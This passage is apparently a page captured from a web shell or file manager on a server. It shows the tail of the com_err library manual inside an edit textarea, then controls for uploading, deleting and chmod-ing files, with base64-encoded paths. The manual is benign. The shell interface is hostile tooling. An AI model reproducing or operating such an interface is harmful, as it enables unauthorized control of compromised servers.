        com_err(&amp;quot;demo&amp;quot;, code,
                &amp;quot;when trying to initialize world&amp;quot;);
        exit(1);
    }
    if ((database = open_database(&amp;quot;my_secrets&amp;quot;, &amp;amp;code))==NULL) {
        com_err(&amp;quot;demo&amp;quot;, code,
                &amp;quot;while opening my_secrets&amp;quot;);
        exit(1);
    }
}
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A caller which fails to check the return status is in error.  It is
possible to look for code which ignores error returns by using lint;
look for error messages of the form &amp;ldquo;foobar returns value which is
sometimes ignored&amp;rdquo; or &amp;ldquo;foobar returns value which is always
ignored.&amp;rdquo;
&lt;/p&gt;
&lt;p&gt;Since libraries may be built out of other libraries, it is often necessary
for the success of one routine to depend on another.  When a lower level
routine returns an error code, the middle level routine has a few possible
options.  It can simply return the error code to its caller after doing
some form of cleanup, it can substitute one of its own, or it can take
corrective action of its own and continue normally.  For instance, a
library routine which makes a &amp;ldquo;connect&amp;rdquo; system call to make a network
connection may reflect the system error code &lt;code class=&quot;code&quot;&gt;ECONNREFUSED&lt;/code&gt;
(Connection refused) to its caller, or it may return a &amp;ldquo;server not
available, try again later,&amp;rdquo; or it may try a different server.
&lt;/p&gt;
&lt;p&gt;Cleanup which is typically necessary may include, but not be limited
to, freeing allocated memory which will not be needed any more,
unlocking concurrency locks, dropping reference counts, closing file
descriptors, or otherwise undoing anything which the procedure did up
to this point.  When there are a lot of things which can go wrong, it
is generally good to write one block of error-handling code which is
branched to, using a goto, in the event of failure.  A common source
of errors in UNIX programs is failing to close file descriptors on
error returns; this leaves a number of &amp;ldquo;zombied&amp;rdquo; file descriptors
open, which eventually causes the process to run out of file
descriptors and fall over.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;{
    FILE *f1=NULL, *f2=NULL, *f3=NULL;
    int status = 0;

    if ( (f1 = fopen(FILE1, &amp;quot;r&amp;quot;)) == NULL) {
        status = errno;
        goto error;
    }

    /*
     * Crunch for a while
     */

    if ( (f2 = fopen(FILE2, &amp;quot;w&amp;quot;)) == NULL) {
        status = errno;
        goto error;
    }

    if ( (f3 = fopen(FILE3, &amp;quot;a+&amp;quot;)) == NULL) {
        status = errno;
            goto error;
    }

    /*
     * Do more processing.
     */
    fclose(f1);
    fclose(f2);
    fclose(f3);
    return 0;

error:
    if (f1) fclose(f1);
    if (f2) fclose(f2);
    if (f3) fclose(f3);
    return status;
}
&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Building-and-Installation&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Bug-Reports&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Bug Reports&lt;/a&gt;, Previous: &lt;a href=&quot;#Coding-Conventions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Coding Conventions&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Building-and-Installation-1&quot;&gt;&lt;span&gt;7 Building and Installation&lt;a class=&quot;copiable-link&quot; href=&quot;#Building-and-Installation-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The distribution of this package will probably be done as a compressed
&amp;ldquo;tar&amp;rdquo;-format file available via anonymous FTP from SIPB.MIT.EDU.
Retrieve &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;pub/com_err.tar.Z&lt;/samp&gt;&amp;rsquo; and extract the contents.  A subdirectory
&lt;code class=&quot;t&quot;&gt;profiled&lt;/code&gt; should be created to hold objects compiled for profiling.
Running &amp;ldquo;make all&amp;rdquo; should then be sufficient to build the library and
error-table compiler.  The files &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;libcom_err.a&lt;/samp&gt;&amp;rsquo;,
&amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;libcom_err_p.a&lt;/samp&gt;&amp;rsquo;, &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;com_err.h&lt;/samp&gt;&amp;rsquo;, and &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;compile_et&lt;/samp&gt;&amp;rsquo; should be
installed for use; &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;com_err.3&lt;/samp&gt;&amp;rsquo; and &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;compile_et.1&lt;/samp&gt;&amp;rsquo; can also be
installed as manual pages.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Bug-Reports&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Acknowledgements&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Acknowledgements&lt;/a&gt;, Previous: &lt;a href=&quot;#Building-and-Installation&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Building and Installation&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Bug-Reports-1&quot;&gt;&lt;span&gt;8 Bug Reports&lt;a class=&quot;copiable-link&quot; href=&quot;#Bug-Reports-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The principal author of this library is: Ken
Raeburn, &lt;code class=&quot;t&quot;&gt;raeburn@MIT.EDU&lt;/code&gt;.  
&lt;/p&gt;
&lt;p&gt;This version of the com_err library is being maintained by Theodore
Ts&amp;rsquo;o, and so bugs and comments should be sent to &lt;code class=&quot;t&quot;&gt;tytso@thunk.org&lt;/code&gt;.
&lt;/p&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Acknowledgements&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Previous: &lt;a href=&quot;#Bug-Reports&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Bug Reports&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Acknowledgements-1&quot;&gt;&lt;span&gt;9 Acknowledgements&lt;a class=&quot;copiable-link&quot; href=&quot;#Acknowledgements-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;I would like to thank: Bill Sommerfeld, for his help with some of this
documentation, and catching some of the bugs the first time around;
Honeywell Information Systems, for not killing off the &lt;em class=&quot;emph&quot;&gt;Multics&lt;/em&gt;
operating system before I had an opportunity to use it; Honeywell&amp;rsquo;s
customers, who persuaded them not to do so, for a while; Ted Anderson of
CMU, for catching some problems before version 1.2 left the nest; Stan
Zanarotti and several others of MIT&amp;rsquo;s Student Information Processing Board,
for getting us started with &amp;ldquo;discuss,&amp;rdquo; for which this package was
originally written; and everyone I&amp;rsquo;ve talked into &amp;mdash; I mean, asked to read
this document and the &amp;ldquo;man&amp;rdquo; pages.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;/body&gt;
&lt;/html&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvNDY5ZWQyZjYtNGQ0Yi00YThhLTlmNWUtZWU0ZWYwNGQzYmM4L3B1YmxpY19odG1s">/var/www/469ed2f6-4d4b-4a8a-9f5e-ee4ef04d3bc8/public_html</a><hr>curdir: /usr/share/doc/comerr-dev/html-info<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8=&x=Y29tX2Vyci5odG1s">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8=&f=Y29tX2Vyci5odG1s"/>com_err.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8=&f=Y29tX2Vyci5odG1s&c=`+btoa(c):0" value="0644"></td><td>28820</td></tr></table>